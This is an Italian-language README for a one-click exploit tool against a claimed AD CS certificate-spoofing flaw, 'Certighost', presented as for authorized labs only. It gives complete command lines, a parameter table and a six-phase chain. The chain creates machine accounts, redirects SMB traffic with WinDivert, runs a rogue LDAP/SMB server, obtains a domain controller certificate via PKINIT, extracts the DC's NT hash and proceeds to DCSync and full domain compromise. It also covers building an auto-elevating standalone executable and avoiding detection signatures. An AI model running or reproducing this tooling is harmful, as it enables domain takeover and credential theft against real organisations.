
# Exploit one-click per CVE-2026-54121 (Certighost) che mira allo spoofing dell'identità dei certificati AD CS. Automatizza la creazione di account macchina, il reindirizzamento del traffico, una CA rogue, PKINIT e l'estrazione degli hash NT per il compromesso del dominio.
Strumento di sfruttamento one-click per CVE-2026-54121 (Certighost) — esclusivamente per lab locali/test autorizzati.
Versione nativa Windows basata sul PoC upstream (analisi @h0j3n / implementazione @aniqfakhrul): redirector WinDivert integrato sviluppato internamente (pydivert), un solo comando per completare "creazione account → redirect → rogue listener → CA chase → certificato identità DC → PKINIT → hash NT account macchina DC", senza mai fermare il servizio Server, senza modificare alcuna configurazione dell'host, ripristino immediato all'uscita.
| Patch | Descrizione |
|---|
--redirect | Redirector WinDivert integrato (445 → --lsa-port, filtro a dominio ristretto: intercetta solo il traffico dell'IP listener), avvio/arresto con il processo, ripristino automatico della 445 all'uscita. Sostituisce il PortBender ufficiale (il cui artefatto ufficiale è una DLL riflessa 32-bit specifica per CS, non eseguibile in modo indipendente) |
--lsa-port | Porta di ascolto rogue LSA/SMB parametrizzata (default 445; con --redirect default 8445) |
Guardia os.geteuid | Il controllo root upstream crasha su Windows → guardia hasattr + suggerimento porta Windows |
| Check readiness parametrizzato | port_ok(127.0.0.1, 445) hardcoded upstream → args.lsa_port |
| Header PEP 723 | uv run certighost.py ... eseguito direttamente, dipendenze risolte automaticamente (incluso impacket git-master), zero inquinamento ambientale |
--new-computer-name | Nome personalizzato per la creazione account (evita la firma di rilevamento GHOST*) |
--new-computer-pass | Password personalizzata per la creazione account (deve superare la policy password del dominio) |
Polyfill random.randbytes | impacket git-master usa API 3.9+ durante l'import di smbserver; necessario per Python 3.8, implementato con os.urandom |
| Uscita immediata | flush + os._exit() dopo GGWP (risolve il blocco di minuti causato dai thread non-daemon di impacket) |
| Codici di uscita semantici | 0 successo / 1 fallimento |
Salvataggio <dc>.hash.txt | Hash NT account macchina DC scritto su file (una sola riga name:lm:nt) |
① Pre-check (sola lettura, verifica CA e prerequisiti di sfruttamento):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
Output elenco Enterprise CA, autorizzazioni di emissione e registrazione template Machine (richiede Enroll per Domain Computers).
Sulla macchina CA verificare anche il flag chase: certutil -getreg policy\EditFlags (dovrebbe avere
EDITF_ENABLECHASECLIENTDC; verificato attivo nell'installazione predefinita di Server 2016).
② Sfruttamento one-click (Windows, amministratore):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <IP raggiungibile da questa macchina> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
Tre artefatti in output (salvati automaticamente nella directory di esecuzione):
| File | Contenuto |
|---|---|
<dc>.pfx | Certificato identità DC (materiale PKINIT) |
<dc>.ccache | Cache ticket Kerberos |
<dc>.hash.txt | Hash NT account macchina DC (solo riga name:lm:nt) |
③ Pulizia (eliminazione account creato):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| Parametro | Descrizione |
|---|---|
-d / -u / -p / -H | Dominio / utente privilegi bassi / password / hash NTLM |
--dc-ip | Indirizzo DC (obbligatorio) |
--listener IP | IP listener rogue (specificare esplicitamente con più schede di rete) |
--redirect | Nucleo Windows: redirect WinDivert 445 integrato (richiede amministratore + pydivert) |
--lsa-port N | Porta rogue LSA (default 8445 con --redirect) |
--new-computer-name | Nome personalizzato per l'account creato (aggiunge automaticamente $) |
--new-computer-pass | Password personalizzata per l'account creato (mutualmente esclusiva con il percorso existing) |
--computer-name/--computer-pass/--computer-hash | Senza MAQ: riutilizza account macchina già controllati |
--target-san DC01$ | Specifica l'identità da impersonare (default: rilevamento automatico DC) |
--template | Template certificato (default Machine) |
--ca / --ca-ip | Specifica manuale CA |
--debug | Tracciamento completo delle fasi di protocollo |
Phase1 Utente privilegi bassi crea account macchina (percorso MAQ automatico / --new-computer-* personalizzato / --computer-* riutilizzo esistente)
Phase2 [Windows] Redirector WinDivert integrato: listener_ip:445 -> :lsa_port
Filtro a dominio ristretto (solo quell'IP), pacchetti riscritti fuori dal filtro = nessun loop di re-iniezione; handle chiuso con il processo
Phase3 Server rogue: LDAP:389 + LSA/SMB:lsa_port (risponde a chase cdc/rmd, fornisce dati identità DC)
Phase4 Invio richiesta certificato come identità macchina (template Machine), CA richiama rogue → emissione certificato identità DC
Phase5 PKINIT → KDC restituisce hash NT account macchina DC nel PAC → estrazione e scrittura in .hash.txt
Phase6 (Successivo) secretsdump DCSync → krbtgt → compromissione totale dominio; cleanup_ghost elimina l'account creato
L'utilizzo Linux rimane invariato (bind diretto root su 445/389, senza --redirect).
L'estrazione hash della catena di attacco passa per PKINIT → PAC → NT hash, non DCSync:
Usare secretsdump per DCSync dopo aver ottenuto l'hash è un'operazione successiva, non la fonte dell'hash.
# PowerShell 7
./build_exe.ps1 # Livello predefinito (Win10 / Server 2016+)
./build_exe.ps1 3.10 # Livello compatibilità (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # Livello legacy (Win7 SP1 / Server 2008 R2 x64)
Output dist\certighost_x64.exe: 19-27MB (a seconda del livello), auto-elevazione --uac-admin, zero dipendenze,
lo script genera automaticamente il checksum SHA256.
Richiede CPython 3.8.10 ufficiale da python.org installato nel seguente percorso (ultima build binaria ufficiale che supporta il kernel Win7, senza dipendere dalle nuove API UCRT):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
Comando di installazione (silenzioso, senza PATH, senza launcher):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
Inoltre bloccare PyInstaller==5.13.2 (il bootloader 6.x non supporta il kernel Win7) e cryptography==38.0.4 (le wheel Rust richiedono Win10+ dalla 38.x), entrambi già fissati nello script.
| Livello | Sistema reale | Catena completa | Note |
|---|---|---|---|
| Predefinito | Win11 | ✅ | |
| Compatibilità 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | Include test reale WinDivert |
| Legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | 3.8.10 ufficiale + PyInstaller 5.13.2 |
Nota: PyInstaller+impacket è una zona ad alta firma per gli antivirus, valutare autonomamente prima del deployment.
ciphertext integrity failure: osservato una volta, si risolve con un retrycertighost.py Exploit principale (upstream + patch native Windows + PEP 723)
certighost_redirect.py Redirector WinDivert 445 sviluppato internamente (pydivert; auto-test --selftest/--e2e)
check_ca.py Pre-check: CA/template/permessi registrazione/flag chase (sola lettura)
cleanup_ghost.py Pulizia finale: eliminazione account creato
build_exe.ps1 Packaging PyInstaller file singolo (pwsh7, matrice tre livelli, SHA256 automatico)